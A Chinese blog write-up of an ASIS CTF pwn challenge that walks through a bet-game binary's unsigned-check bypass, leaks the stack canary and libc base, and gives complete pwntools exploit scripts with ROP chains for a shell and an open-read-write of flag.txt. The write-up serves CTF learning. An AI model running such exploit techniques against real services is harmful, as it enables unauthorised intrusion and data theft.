ASISctf体验小记

admin 2024年1月1日16:00:21评论23 views字数 7819阅读26分3秒阅读模式
今天打了一下ASISCTF,光是pwn签到题就给我整汗流浃背了。。。。

题目很简单,就是一个随机数让你猜的模型(随机数不可预期,因为srand里面是main的地址,但地址pie随机化),然后程序和你都给出一个筹码,你猜对了增加他规定的筹码,你猜错了减少你规定的筹码。

ASISctf体验小记

__int64 __fastcall main(__int64 a1, char **a2, char **a3){  unsigned int v4; // [rsp+0h] [rbp-820h] BYREF  int v5; // [rsp+4h] [rbp-81Ch] BYREF  unsigned int v6; // [rsp+8h] [rbp-818h]  int v7; // [rsp+Ch] [rbp-814h]  _DWORD s[514]; // [rsp+10h] [rbp-810h] BYREF  unsigned __int64 nbytes_4; // [rsp+818h] [rbp-8h]

  nbytes_4 = __readfsqword(0x28u);  ((void (__fastcall *)())((char *)&init + 1))();  srand((unsigned int)main);  puts("This game is so easy!");  puts("Just guess the correct number to win!");  puts("If you lose 3 times you'll be kicked out");  qmemcpy(s, &unk_21E0, sizeof(s));  memset(s, 0, 0x800uLL);  do  {    while ( 1 )    {      printf("nLives: %snYour money: %dn", (const char *)&s[512], s[513]);      if ( s[513] < 0 )      {        puts("You can't play anymore :(");        goto LABEL_14;      }      printf("Enter a bet value: ");      v4 = -1;      __isoc99_scanf("%d", &v4);      if ( (int)v4 > 0 )        break;      puts("Your bet amount should be positive!");    }    v6 = rand() % 100 + 1;    printf("Your bet: %d, my bet: %dn", v4, v6);    printf("Enter your guess: ");    v5 = -1;    __isoc99_scanf("%d", &v5);    getchar();    v7 = rand() % 1000 + 1;    if ( v7 == v5 )    {      puts("You won!");      s[513] += v6;    }    else    {      puts("You lost :(");      s[513] -= v4;      *((_BYTE *)&s[511] + strlen((const char *)&s[512]) + 3) = 0;    }    if ( (unsigned int)(s[513] + 1) > 0x7FF )//这里有一个洞,如果是0xffffffff的话加个1正好是0,但read的时候会读入0xffffffff    {      puts("Sorry we can't take your feedback this time");    }    else    {      printf("Please give us your feedback for this round: ");      read(0, s, s[513]);      puts("Thanks for your feedback!");    }  }  while ( LOBYTE(s[512]) );  puts("No more lives");LABEL_14:  puts("Bye!");  return 0LL;}

洞的话随便动调fuzz联合审一审就出来了,就是read(0,s,s[513])处,如果当时s[513]是0xffffffff时正好能绕过那个大于0x7ff的检查。
最开始s[513]的初值是1000,那我们就先给他1001的筹码,这样s[513]正好0xffffffff,实现了read 0xffffffff字节,但这里有个小伏笔先表过不谈。

io.recvuntil(b"you'll be kicked out")io.recvuntil(b'bet value: ')io.sendline(str(1001).encode())

io.recvuntil(b'your guess: ')io.sendline(b'1')

ASISctf体验小记

发现这个里面就没啥正常gadget,我也没用magicgadget,所以想法就是把后面的__libc_start_main_ret和canary全部泄露出来。泄露的方法,就是利用循环最初的printf("nLives: %snYour money: %dn", (const char *)&s[512], s[513]); 这句话中%s来连带输出两次。
canary泄露:

payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)io.sendline(payload)io.recvuntil(b'Lives: ****'+p32(0x01010101)+b'n')canary=u64(io.recv(7).rjust(8,b'x00'))print('canary:',hex(canary))

在这里,前面的p32(0x2a2a2a2a)代表命数(他初始就是0x2a2a2a),而用0x0101010101是为了保证每一个字节上都有值,同时必须是一个正数,所以尽量小啦(太大了肯定爆1<<31-变负数了,任何符合规则的数都可以)。

libc泄露:

io.recvuntil(b'bet value: ')io.sendline(str(0x01010102).encode())

io.recvuntil(b'your guess: ')io.sendline(b'1')

#sleep(5)io.recvuntil(b'this round: ')payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)+b'a'*0x10io.send(payload)io.recvuntil(b'a'*0x10)libc_base=u64(io.recv(6).ljust(8,b'x00'))-0x29D90print('libc_base:',hex(libc_base))

leak部分就完成了,我们现在可以取出来所有要用的gadget和function:

pop_rdi_ret=libc_base+0x2a3e5system=libc.sym['system']+libc_basebinsh=next(libc.search(b'/bin/shx00'))+libc_baseret=libc_base+0x29F3B

一个本地完全能过的脚本:

from pwn import *context(log_level='debug',arch='amd64',os='linux')

#io=remote('65.109.182.44',5000)io=process('./asis1')libc=ELF('./libc.so.6')

io.recvuntil(b"you'll be kicked out")

io.recvuntil(b'bet value: ')io.sendline(str(1001).encode())

io.recvuntil(b'your guess: ')io.sendline(b'1')

io.recvuntil(b'this round: ')payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)io.sendline(payload)io.recvuntil(b'Lives: ****'+p32(0x01010101)+b'n')canary=u64(io.recv(7).rjust(8,b'x00'))print('canary:',hex(canary))

io.recvuntil(b'bet value: ')io.sendline(str(0x01010102).encode())

io.recvuntil(b'your guess: ')io.sendline(b'1')

io.recvuntil(b'this round: ')payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)+b'a'*0x10io.send(payload)io.recvuntil(b'a'*0x10)libc_base=u64(io.recv(6).ljust(8,b'x00'))-0x29D90

one=[0x50a47,0xebc81,0xebc85,0xebc88]

io.recvuntil(b'bet value: ')io.sendline(str(0x01010102).encode())

io.recvuntil(b'your guess: ')io.sendline(b'1')

pop_rdi_ret=libc_base+0x2a3e5system=libc.sym['system']+libc_basebinsh=next(libc.search(b'/bin/shx00'))+libc_baseret=libc_base+0x29F3Bio.recvuntil(b'this round: ')payload=flat(b'a'*0x800,0,canary,0xdeadbeef,ret,pop_rdi_ret,binsh,system)io.sendline(payload)

io.interactive()

ASISctf体验小记

其实已经发觉有点不对劲了。

本地可能需要尝试多次才能过,这个问题我经过动态调试发现是read(0,buf,0xffffffff)这里,都甚至已经执行到syscall层面且参数都没有问题,但依旧不能保证成功率。所以在我尝试异地的时候才发现:
喂,前面可是地狱啊。

以为这个题难点都结束了,但事实上出题人可能没有考虑过异地这一点。

异地的麻烦之处在于:

  1. 和本地一样read第三个参数是0xffffffff时,存在非常高的失败可能性。最无法接受的在于这个是无法避免的,因为我们只能用这一种方法造成栈溢出。这让我浪费了很长时间。
  2. 异地无法取得shell。这个问题可能出在我身上,我尝试了包括system("/bin/sh"),execve("/bin/sh",null,null),以及onegadget均未成功,而本地都可以成功。由此我使用了很多gadget:
    pop_rax_ret=libc_base+0x45eb0pop_rdx_ret=0x796a2+libc_basepop_rsi_ret=libc_base+0x2be51syscall=0x425F1+libc_base
    

    甚至做了一个ropchain,但都以失败告终。

那该怎么做呢?可以尝试ORW。当然我在程序里面完全找不到一个真正的flag字符串,更别提flag.txt了。

ASISctf体验小记

由dockerfile可知flag名为flag.txt

FROM ubuntu:22.04RUN apt-get -y updateRUN apt-get -y upgradeRUN apt-get -y install socatRUN useradd -m pwnWORKDIR /home/pwnCOPY ./chall .COPY ./ld-linux-x86-64.so.2 .COPY ./libc.so.6 .RUN echo 'flag{placeholder_for_flag}' > ./flag.txtRUN chown -R root:root /home/pwnRUN chmod -R 555 /home/pwnCMD ["socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:./chall"]

所以我们要用任意地址写的gadget,也就是mov qword ptr [rdx], rax ; ret这一句,把flag.txt写到libc里面的bss段上,所以我们也需要libc里的bss地址。

bss=0x21a8a0+libc_basemov_rdxv_rax=0x3a410+libc_base

然后写我们的orw rop链:

payload=flat(b'a'*0x800,0,canary,0xdeadbeef,pop_rax_ret,b'flag.txt'.ljust(8,b'x00'),pop_rdx_ret,bss+0x100,mov_rdxv_rax)payload+=flat(pop_rdi_ret,bss+0x100,pop_rsi_ret,0,open)payload+=flat(pop_rdi_ret,3,pop_rsi_ret,bss+0x200,pop_rdx_ret,0x50,read)payload+=flat(pop_rdi_ret,1,pop_rsi_ret,bss+0x200,pop_rdx_ret,0x50,write)

然后直接把最后一个rop链换成新的这条即可。

本地尝试:

ASISctf体验小记

完全莫有问题。

但异地为什么还是没有输出???

ASISctf体验小记

kali下的异地效率太低,直接换成物理机。我突然想到,这种情况我遇到过。他只读入,但没有任何回显或者终止,那就是fd不对了。对于正常的题目,stderr 2之后下一个文件标识符必然是3,但这个题不一样。我没有任何方法同步异地和本地的信息,所以,我决定执行测试。

如果能找到mov reg,rax类似的gadget,那我们能直接得到这个文件标识符也就不用考虑这么多了。但对于本题我短时间内无法找到这种gadget。但还是之前的mov qword ptr [rdx], rax;这个gadget。我推测程序每一次启动时的fd是相同的,利用puts将他打印出来。

payload=flat(b'a'*0x800,0,canary,0xdeadbeef,pop_rax_ret,b'flag.txt'.ljust(8,b'x00'),pop_rdx_ret,bss+0x100,mov_rdxv_rax)payload+=flat(pop_rdi_ret,bss+0x100,pop_rsi_ret,0,open)payload+=flat(pop_rdx_ret,bss+0x300,mov_rdxv_rax)payload+=flat(pop_rdi_ret,bss+0x300,puts)

ASISctf体验小记

发现fd为5。把fd修改后:

ASISctf体验小记

终于啊终于。

完整exp:

from pwn import *context(log_level='debug',arch='amd64',os='linux')

io=remote('65.109.182.44',5000)libc=ELF('./libc.so.6')

io.recvuntil(b"you'll be kicked out")

io.recvuntil(b'bet value: ')io.sendline(str(1001).encode())

io.recvuntil(b'your guess: ')io.sendline(b'1')

io.recvuntil(b'this round: ')payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)io.sendline(payload)io.recvuntil(b'Lives: ****'+p32(0x01010101)+b'n')canary=u64(io.recv(7).rjust(8,b'x00'))print('canary:',hex(canary))

io.recvuntil(b'bet value: ')io.sendline(str(0x01010102).encode())

io.recvuntil(b'your guess: ')io.sendline(b'1')

io.recvuntil(b'this round: ')payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)+b'a'*0x10io.send(payload)io.recvuntil(b'a'*0x10)libc_base=u64(io.recv(6).ljust(8,b'x00'))-0x29D90print('libc_base:',hex(libc_base))

one=[0x50a47,0xebc81,0xebc85,0xebc88]

io.recvuntil(b'bet value: ')io.sendline(str(0x01010102).encode())

io.recvuntil(b'your guess: ')io.sendline(b'1')

startmain=0x29D4C+libc_basepop_rdi_ret=libc_base+0x2a3e5system=libc.sym['system']+libc_basebinsh=next(libc.search(b'/bin/shx00'))+libc_baseret=libc_base+0x29F3Bpop_rax_ret=libc_base+0x45eb0pop_rdx_ret=0x796a2+libc_basepop_rsi_ret=libc_base+0x2be51syscall=0x425F1+libc_basemov_rdxv_rax=0x3a410+libc_basebss=0x21a8a0+libc_baseread=libc_base+libc.sym['read']open=libc_base+libc.sym['open']write=libc_base+libc.sym['write']puts=libc_base+libc.sym['puts']io.recvuntil(b'this round: ')

payload=flat(b'a'*0x800,0,canary,0xdeadbeef,pop_rax_ret,b'flag.txt'.ljust(8,b'x00'),pop_rdx_ret,bss+0x100,mov_rdxv_rax)payload+=flat(pop_rdi_ret,bss+0x100,pop_rsi_ret,0,open)payload+=flat(pop_rdi_ret,5,pop_rsi_ret,bss+0x200,pop_rdx_ret,0x50,read)payload+=flat(pop_rdi_ret,1,pop_rsi_ret,bss+0x200,pop_rdx_ret,0x50,write)payload+=flat(pop_rdi_ret,0,libc_base+libc.sym['exit'])

io.sendline(payload)

io.interactive()

以上就是我的体验和感受,希望师傅们多多指正。

一起来群里玩啊~

原文始发于微信公众号(UKFC安全):ASISctf体验小记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月1日16:00:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ASISctf体验小记https://cn-sec.com/archives/2352045.html

发表评论

匿名网友 填写信息